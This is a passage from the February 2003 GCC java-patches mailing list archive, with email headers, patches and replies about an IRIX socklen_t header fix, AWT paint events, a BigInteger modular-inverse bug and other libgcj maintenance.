from network); 17 Feb 2003 18:05:28 -0000 Received: from unknown (HELO momotombo.TechFak.Uni-Bielefeld.DE) (129.70.136.107) by 172.16.49.205 with SMTP; 17 Feb 2003 18:05:28 -0000 Received: from xayide.TechFak.Uni-Bielefeld.DE.TechFak.Uni-Bielefeld.DE (xayide.TechFak.Uni-Bielefeld.DE [129.70.137.35]) by momotombo.TechFak.Uni-Bielefeld.DE (8.11.6+Sun/8.11.6/TechFak/pk+ro20010720) with ESMTP id h1HI5QD10850; Mon, 17 Feb 2003 19:05:26 +0100 (MET) From: Rainer Orth Message-ID: <15953.9315.925208.21194@xayide.TechFak.Uni-Bielefeld.DE> Date: Mon, 17 Feb 2003 19:05:23 +0100 (MET) To: gcc-patches@gcc.gnu.org Cc: java-patches@gcc.gnu.org, Bruce Korb , "Billinghurst, David (CRTS)" Subject: 3.4 PATCH: Fix IRIX 6.5.1[78] libjava bootstrap failure Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII This patch fixes the libjava bootstrap failure described in the thread starting at http://gcc.gnu.org/ml/java/2003-02/msg00037.html and in PR libgcj/9652. I've received my copy of IRIX 6.5.19 in the meantime and verified that the fix below matches from that release. If fixes the 6.5.18 file as desired and leaves the 6.5.19 one untouched. With this patch, libjava bootstraps again on both 6.5.18 and 6.5.19. Mainline bootstrapped successfully on IRIX 6.5.18 and 6.5.19. Passes make check in gcc/fixinc. Since this is a generic IRIX 6.5.1[78] header problem affecting libjava on all active branches (3.2, 3.3, and mainline), I'd like to apply it everywhere. Ok (even without bootstraps on the 3.2 and 3.3 branches: those would take me about three days each)? Rainer ----------------------------------------------------------------------------- Rainer Orth, Faculty of Technology, Bielefeld University Wed Feb 12 19:37:30 2003 Rainer Orth * fixinc/inclhack.def (irix_socklen_t): Fix broken IRIX 6.5.1[78] socklen_t definition. * fixinc/fixincl.x: Regenerate. * fixinc/tests/base/sys/socket.h: New file. Fixes PR libgcj/9652. Index: inclhack.def =================================================================== RCS file: /cvs/gcc/gcc/gcc/fixinc/inclhack.def,v retrieving revision 1.143 diff -u -p -r1.143 inclhack.def --- inclhack.def 14 Feb 2003 04:19:02 -0000 1.143 +++ inclhack.def 17 Feb 2003 17:57:20 -0000 @@ -1357,6 +1357,30 @@ fix = { /* + * IRIX 6.5.1[78] has a broken definition of socklen_t. + * Various socket function prototypes use different types instead, + * depending on the API in use (BSD, XPG4/5), but the socklen_t + * definition doesn't reflect this (SGI Bug Id 864477, fixed in + * IRIX 6.5.19). + */ +fix = { + hackname = irix_socklen_t; + files = sys/socket.h; + select = "(#define _SOCKLEN_T\n)(typedef u_int32_t socklen_t;)"; + + mach = "mips-sgi-irix6.5"; + c_fix = format; + c_fix_arg = "%1" + "#if _NO_XOPEN4 && _NO_XOPEN5\n" + "typedef int socklen_t;\n" + "#else\n" + "%2\n" + "#endif /* _NO_XOPEN4 && _NO_XOPEN5 */"; + + test_text = "#define _SOCKLEN_T\ntypedef u_int32_t socklen_t;"; +}; + +/* * IRIX 5.x's stdio.h declares some functions that take a va_list as * taking char *. However, GCC uses void * for va_list, so * calling vfprintf with a va_list fails in C++. */ Index: tests/base/sys/socket.h =================================================================== RCS file: tests/base/sys/socket.h diff -N tests/base/sys/socket.h --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ tests/base/sys/socket.h 17 Feb 2003 17:57:20 -0000 @@ -0,0 +1,19 @@ +/* DO NOT EDIT THIS FILE. + + It has been auto-edited by fixincludes from: + + "fixinc/tests/inc/sys/socket.h" + + This had to be done to correct non-standard usages in the + original, manufacturer supplied header file. */ + + + +#if defined( IRIX_SOCKLEN_T_CHECK ) +#define _SOCKLEN_T +#if _NO_XOPEN4 && _NO_XOPEN5 +typedef int socklen_t; +#else +typedef u_int32_t socklen_t; +#endif /* _NO_XOPEN4 && _NO_XOPEN5 */ +#endif /* IRIX_SOCKLEN_T_CHECK */ From java-patches-return-6180-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 19:43:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5099 invoked by alias); 17 Feb 2003 19:43:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5092 invoked from network); 17 Feb 2003 19:43:44 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 17 Feb 2003 19:43:44 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18kr8h-00043C-00 for ; Mon, 17 Feb 2003 20:41:19 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18kr8A-00040w-00 for ; Mon, 17 Feb 2003 20:40:46 +0100 From: Ranjit Mathew Subject: Re: Patch: Make "os.arch" consistent with Sun's JDK on Win32 Date: Tue, 18 Feb 2003 01:15:19 +0530 Lines: 22 Message-ID: <3E513BCF.AB5711A7@hotmail.com> References: <3E4FC00C.6DBBE221@hotmail.com> <87smunn6kg.fsf@fleche.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Tom Tromey wrote: > > Ranjit> This patch is in response to a recent request on the main > Ranjit> mailing list to make the value of the "os.arch" system > Ranjit> property on Win32 more like what Sun's JDK sets - namely "x86" > Ranjit> instead of the current "i486" or "i586" for GCJ running on > Ranjit> Win32. > > It seems like we should do this at configure time, and for every OS. > We could add code to configure.host. So are you putting this on hold? I mean, what you suggest will take some time - probably the gathering of the data will take more time than the patch itself and in the mean time, IMHO, including this patch won't hurt terribly, would it? ;-) Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-6181-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 20:03:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23945 invoked by alias); 17 Feb 2003 20:03:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23936 invoked from network); 17 Feb 2003 20:03:26 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 17 Feb 2003 20:03:26 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 2EAF6480A9 for ; Mon, 17 Feb 2003 15:06:33 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Mon, 17 Feb 2003 14:49:44 -0500 Message-ID: <04b301c2d6bd$c8e97020$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Subject: PATCH: enable paint events for heavyweight java.awt.Container which contains a lightweight java.awt.Component Date: Mon, 17 Feb 2003 14:50:12 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_04B0_01C2D693.E0073320" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_04B0_01C2D693.E0073320 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit This patch enables paint events for any heavyweight Container to which a lightweight Component is added. When you do a repaint on a Component, it finds the nearest heavyweight parent and sends it a paint event. These events were being discarded, so no lightweight components showed up on the screen. Patch is attached. Index: libjava/ChangeLog from Scott Gilbertson * libjava/java/awt/Container.java (addImpl): enable paint events if adding a lightweight to a heavyweight (addNotify): ensure that peer is created before addNotifyContainerChildren (addNotifyContainerChildren): enable paint events if a heavyweight container contains a lightweight ------=_NextPart_000_04B0_01C2D693.E0073320 Content-Type: application/octet-stream; name="20030217_ContainerPaint.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030217_ContainerPaint.patch" diff -r -up gcc.patched/libjava/java/awt/Container.java = gcc/libjava/java/awt/Container.java=0A= --- gcc.patched/libjava/java/awt/Container.java 2003-02-03 = 12:56:10.000000000 -0500=0A= +++ gcc/libjava/java/awt/Container.java 2003-02-17 14:25:48.000000000 = -0500=0A= @@ -295,9 +295,13 @@ public class Container extends Component=0A= if (peer !=3D null)=0A= {=0A= comp.addNotify();=0A= -=0A= - if (comp.isLightweight())=0A= - enableEvents(comp.eventMask);=0A= + =0A= + if (comp.isLightweight ())=0A= + {=0A= + enableEvents (comp.eventMask);=0A= + if (!isLightweight ())=0A= + enableEvents (AWTEvent.PAINT_EVENT_MASK);=0A= + }=0A= }=0A= =0A= invalidate();=0A= @@ -902,8 +906,8 @@ public class Container extends Component=0A= */=0A= public void addNotify()=0A= {=0A= - addNotifyContainerChildren();=0A= super.addNotify();=0A= + addNotifyContainerChildren();=0A= }=0A= =0A= /**=0A= @@ -1206,8 +1210,12 @@ public class Container extends Component=0A= for (int i =3D ncomponents; --i >=3D 0; )=0A= {=0A= component[i].addNotify();=0A= - if (component[i].isLightweight())=0A= + if (component[i].isLightweight ())=0A= + {=0A= enableEvents(component[i].eventMask);=0A= + if (peer !=3D null && !isLightweight ())=0A= + enableEvents (AWTEvent.PAINT_EVENT_MASK);=0A= + }=0A= }=0A= }=0A= }=0A= ------=_NextPart_000_04B0_01C2D693.E0073320-- From java-patches-return-6182-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 20:37:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3442 invoked by alias); 17 Feb 2003 20:37:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3400 invoked from network); 17 Feb 2003 20:37:10 -0000 Received: from unknown (HELO mtvmime01.veritas.com) (143.127.3.10) by 172.16.49.205 with SMTP; 17 Feb 2003 20:37:10 -0000 Received: from megami (unverified) by mtvmime01.veritas.com (Content Technologies SMTPRS 4.2.10) with SMTP id ; Mon, 17 Feb 2003 12:39:00 -0800 Received: from veritas.com([172.22.12.210]) (1687 bytes) by megami via sendmail with P:esmtp/R:smart_host/T:smtp (sender: ) id for ; Mon, 17 Feb 2003 12:37:09 -0800 (PST) (Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30) Message-ID: <3E514A30.E9F3E52B@veritas.com> Date: Mon, 17 Feb 2003 12:46:40 -0800 From: Bruce Korb Organization: Home X-Accept-Language: en MIME-Version: 1.0 To: Rainer Orth CC: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org, Bruce Korb , "Billinghurst, David (CRTS)" Subject: Re: 3.4 PATCH: Fix IRIX 6.5.1[78] libjava bootstrap failure References: <15953.9315.925208.21194@xayide.TechFak.Uni-Bielefeld.DE> Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Rainer Orth wrote: > > This patch fixes the libjava bootstrap failure described in the thread > starting at > > http://gcc.gnu.org/ml/java/2003-02/msg00037.html > > and in PR libgcj/9652. > > I've received my copy of IRIX 6.5.19 in the meantime and verified that the > fix below matches from that release. If fixes the 6.5.18 > file as desired and leaves the 6.5.19 one untouched. With this patch, > libjava bootstraps again on both 6.5.18 and 6.5.19. > > Mainline bootstrapped successfully on IRIX 6.5.18 and 6.5.19. Passes make > check in gcc/fixinc. Thanks!! > Ok (even without bootstraps on the 3.2 and 3.3 branches: those would take > me about three days each)? Looks good to me. Thanks for the test base file, too! - Bruce From java-patches-return-6183-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 20:57:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16600 invoked by alias); 17 Feb 2003 20:57:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16585 invoked from network); 17 Feb 2003 20:57:52 -0000 Received: from unknown (HELO uniton.integrable-solutions.net) (62.212.99.186) by 172.16.49.205 with SMTP; 17 Feb 2003 20:57:52 -0000 Received: from uniton.integrable-solutions.net (localhost [127.0.0.1]) by uniton.integrable-solutions.net (8.12.3/8.12.3/SuSE Linux 0.6) with ESMTP id h1HKudH2016711; Mon, 17 Feb 2003 21:56:40 +0100 Received: (from gdr@localhost) by uniton.integrable-solutions.net (8.12.3/8.12.3/Submit) id h1HKucQJ016710; Mon, 17 Feb 2003 21:56:38 +0100 X-Authentication-Warning: uniton.integrable-solutions.net: gdr set sender to gdr@integrable-solutions.net using -f To: Bruce Korb Cc: Rainer Orth , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org, Bruce Korb , "Billinghurst, David (CRTS)" Subject: Re: 3.4 PATCH: Fix IRIX 6.5.1[78] libjava bootstrap failure References: <15953.9315.925208.21194@xayide.TechFak.Uni-Bielefeld.DE> <3E514A30.E9F3E52B@veritas.com> From: Gabriel Dos Reis In-Reply-To: <3E514A30.E9F3E52B@veritas.com> Organization: Integrable Solutions Date: 17 Feb 2003 21:56:38 +0100 Message-ID: Lines: 22 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Bruce Korb writes: [...] | > Mainline bootstrapped successfully on IRIX 6.5.18 and 6.5.19. Passes make | > check in gcc/fixinc. | | Thanks!! | | > Ok (even without bootstraps on the 3.2 and 3.3 branches: those would take | > me about three days each)? | | Looks good to me. Thanks for the test base file, too! - Bruce Rainer -- Once bootstrapped and properly regtested, please install it. Thanks, -- Gaby From java-patches-return-6184-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 23:15:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11429 invoked by alias); 17 Feb 2003 23:15:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11422 invoked from network); 17 Feb 2003 23:15:19 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 17 Feb 2003 23:15:19 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA09824; Mon, 17 Feb 2003 16:15:17 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 90D8C4F8072; Mon, 17 Feb 2003 16:05:49 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: BigInteger bug fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Imagine--a WORLD without POODLES... Date: 17 Feb 2003 16:05:49 -0700 Message-ID: <87n0kuik36.fsf@fleche.redhat.com> Lines: 93 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to Classpath, 3.3, and 3.4. This fixes a bug with the recent BigInteger changes which manifested as a hang in the GNU Crypto 1.1 `make check'. Raif has already checked the test case in to Mauve. Tom Index: ChangeLog from Raif S. Naffah * java/math/BigInteger.java (euclidInv): Return array of `BigInteger's. Changed all callers. Index: java/math/BigInteger.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/math/BigInteger.java,v retrieving revision 1.18.34.2 diff -u -r1.18.34.2 BigInteger.java --- java/math/BigInteger.java 10 Feb 2003 23:44:57 -0000 1.18.34.2 +++ java/math/BigInteger.java 17 Feb 2003 23:13:18 -0000 @@ -1017,9 +1017,8 @@ return xy; } - private static final void euclidInv(BigInteger a, BigInteger b, - BigInteger prevDiv, BigInteger xy0, - BigInteger xy1, BigInteger xy2) + private static final BigInteger[] euclidInv(BigInteger a, BigInteger b, + BigInteger prevDiv) { if (b.isZero()) throw new ArithmeticException("not invertible"); @@ -1028,20 +1027,20 @@ { // Success: values are indeed invertible! // Bottom of the recursion reached; start unwinding. - // WARNING: xy1 is, and xy0 may be, a shared BI! - xy0 = neg(prevDiv); - xy1 = ONE; - return; + return new BigInteger[] { neg(prevDiv), ONE }; } + BigInteger[] result; // Recursion happens in the following conditional! // If a just contains an int, then use integer math for the rest. if (a.words == null) { int[] xyInt = euclidInv(b.ival, a.ival % b.ival, a.ival / b.ival); - xy0 = new BigInteger(xyInt[0]); // non-shared BI - xy1 = new BigInteger(xyInt[1]); // non-shared BI + result = new BigInteger[] { // non-shared BI + new BigInteger(xyInt[0]), + new BigInteger(xyInt[1]) + }; } else { @@ -1051,15 +1050,13 @@ // quot and rem may not be in canonical form. ensure rem.canonicalize(); quot.canonicalize(); - euclidInv(b, rem, quot, xy0, xy1, xy2); + result = euclidInv(b, rem, quot); } - // xy2 is just temp storage for intermediate results in the following - // calculation. This saves us a bit of space over having a BigInteger - // allocated at every level of this recursive method. - xy2 = xy0; - xy0 = add(xy1, times(xy2, prevDiv), -1); - xy1 = xy2; + BigInteger t = result[0]; + result[0] = add(result[1], times(t, prevDiv), -1); + result[1] = t; + return result; } public BigInteger modInverse(BigInteger y) @@ -1129,8 +1126,8 @@ quot.canonicalize(); BigInteger xy0 = new BigInteger(); BigInteger xy1 = new BigInteger(); - euclidInv(y, rem, quot, xy0, xy1, result); - result = swapped ? xy0 : xy1; + BigInteger[] xy = euclidInv(y, rem, quot); + result = swapped ? xy[0] : xy[1]; // Result can't be negative, so make it positive by adding the // original modulus, y (which is now x if they were swapped). From java-patches-return-6185-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 23:55:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3931 invoked by alias); 17 Feb 2003 23:55:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3924 invoked from network); 17 Feb 2003 23:55:09 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 17 Feb 2003 23:55:09 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA18973; Mon, 17 Feb 2003 16:55:06 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 089794F8072; Mon, 17 Feb 2003 16:45:36 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio -- important, please test on your platform References: <200302141345.02102.konqueror@gmx.de> <200302151041.50645.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Where's my SOCIAL WORKER? Date: 17 Feb 2003 16:45:36 -0700 In-Reply-To: <200302151041.50645.konqueror@gmx.de> Message-ID: <87d6lqii8v.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> The API is now 100%, thanks to Jesse Rosenstock for this patch. I'm checking this in to 3.3. Thanks. The API is 100% -- how is the implementation? I'm wondering if it is time for a news item. Tom From java-patches-return-6186-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 00:02:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7084 invoked by alias); 18 Feb 2003 00:02:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7072 invoked from network); 18 Feb 2003 00:02:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 00:02:51 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA20591; Mon, 17 Feb 2003 17:02:49 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B4D184F8072; Mon, 17 Feb 2003 16:53:21 -0700 (MST) To: Ronald Landheer-Cieslak Cc: Andrew Haley , , Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Are we live or on tape? Date: 17 Feb 2003 16:53:21 -0700 In-Reply-To: Message-ID: <878yweihvy.fsf@fleche.redhat.com> Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ronald" == Ronald Landheer-Cieslak writes: Ronald> Configure options for the cross-compiler are: Ronald> --prefix=$HOME/tmp --target=i386-unknown-freebsd4.7 --with-newlib It seems to me that a newlib build shouldn't enable Process support in libgcj. So a different patch would be to change configure.in to use the "Ecos" (a misnomer) process (non-)support instead. What do you think about that? Do fork(), exec() and waitpid() really work while signals do not? If so, that is very weird. Anyway, assuming this makes sense, could you write the appropriate configure.in patch? There's other code around that assumes the existence of signals. For instance, see the "*-signal.h" files in include. You'll also need to deal with this somehow. Perhaps all newlib ports should use -fcheck-references. I think you'll find the newlib support isn't very up-to-date. It has rotted a bit from disuse. Ronald> 1. the file I patched should enever have been compiler Ronald> (because I disabled threads on the command-line FYI, natPosixProcess isn't thread-related. Tom From java-patches-return-6187-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 00:04:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9319 invoked by alias); 18 Feb 2003 00:04:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9299 invoked from network); 18 Feb 2003 00:04:13 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 00:04:13 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA20916; Mon, 17 Feb 2003 17:04:12 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 50D1A4F8072; Mon, 17 Feb 2003 16:54:45 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.net.DatagramSocket References: <200302171735.34213.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm having a RELIGIOUS EXPERIENCE.. and I don't take any DRUGS Date: 17 Feb 2003 16:54:45 -0700 In-Reply-To: <200302171735.34213.konqueror@gmx.de> Message-ID: <874r72ihtm.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I commited the attached little patch to make it more in line Michael> with the classpath version. They are not fully merged yet. Ok. Thanks. I'm putting this in 3.3. Tom From java-patches-return-6188-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 00:09:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11804 invoked by alias); 18 Feb 2003 00:09:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11797 invoked from network); 18 Feb 2003 00:09:20 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 00:09:20 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA22020; Mon, 17 Feb 2003 17:09:18 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1574B4F8072; Mon, 17 Feb 2003 16:59:50 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Make "os.arch" consistent with Sun's JDK on Win32 References: <3E4FC00C.6DBBE221@hotmail.com> <87smunn6kg.fsf@fleche.redhat.com> <3E513BCF.AB5711A7@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I feel like I am sharing a ``CORN-DOG'' with NIKITA KHRUSCHEV.. Date: 17 Feb 2003 16:59:50 -0700 In-Reply-To: <3E513BCF.AB5711A7@hotmail.com> Message-ID: <87znouh30p.fsf@fleche.redhat.com> Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: >> It seems like we should do this at configure time, and for every OS. >> We could add code to configure.host. Ranjit> So are you putting this on hold? I mean, what you suggest will take Ranjit> some time - probably the gathering of the data will take more time Ranjit> than the patch itself and in the mean time, IMHO, including this Ranjit> patch won't hurt terribly, would it? ;-) Actually, I think this isn't very hard to implement. There aren't many architectures to worry about. Some code in Eclipse leads me to believe that the values for 3 common chips are "x86", "ppc", and "sparc". The rest we can probably just pick for the time being. Tom From java-patches-return-6189-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 00:38:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27575 invoked by alias); 18 Feb 2003 00:38:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27568 invoked from network); 18 Feb 2003 00:38:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 00:38:51 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA28475; Mon, 17 Feb 2003 17:38:50 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 99DAB4F8072; Mon, 17 Feb 2003 17:29:12 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: Classpath AWT mergelet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm ZIPPY the PINHEAD and I'm totally committed to the festive mode. Date: 17 Feb 2003 17:29:12 -0700 Message-ID: <878yweh1nr.fsf@fleche.redhat.com> Lines: 54 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk. This copies a couple minor AWT fixes over from Classpath. Tom Index: ChangeLog from Tom Tromey * java/awt/image/ColorModel.java: Re-merged with Classpath. * java/awt/image/ImageFilter.java: Likewise. Index: java/awt/image/ColorModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/image/ColorModel.java,v retrieving revision 1.9 diff -u -r1.9 ColorModel.java --- java/awt/image/ColorModel.java 14 Jan 2003 21:21:35 -0000 1.9 +++ java/awt/image/ColorModel.java 18 Feb 2003 00:37:57 -0000 @@ -142,7 +142,7 @@ bits_sum |= bits [i]; } - if ((bits.length < cspace.numComponents) + if ((bits.length < cspace.getNumComponents()) || (bits_sum < 1)) throw new IllegalArgumentException (); Index: java/awt/image/ImageFilter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/image/ImageFilter.java,v retrieving revision 1.2 diff -u -r1.2 ImageFilter.java --- java/awt/image/ImageFilter.java 14 Jan 2003 21:21:35 -0000 1.2 +++ java/awt/image/ImageFilter.java 18 Feb 2003 00:37:57 -0000 @@ -108,15 +108,9 @@ throw new IllegalArgumentException("null argument for ImageFilter.getFilterInstance(ImageConsumer)"); consumer = ic; - try { - ImageFilter f = (ImageFilter)clone(); - consumer = null; - return f; - } catch ( CloneNotSupportedException cnse ) { - cnse.printStackTrace(); - consumer = null; - return null; - } + ImageFilter f = (ImageFilter)clone(); + consumer = null; + return f; } /** From java-patches-return-6190-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 08:15:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13705 invoked by alias); 18 Feb 2003 08:15:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13698 invoked from network); 18 Feb 2003 08:15:09 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by 172.16.49.205 with SMTP; 18 Feb 2003 08:15:09 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-73-013.ewetel.net [80.228.73.13]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id 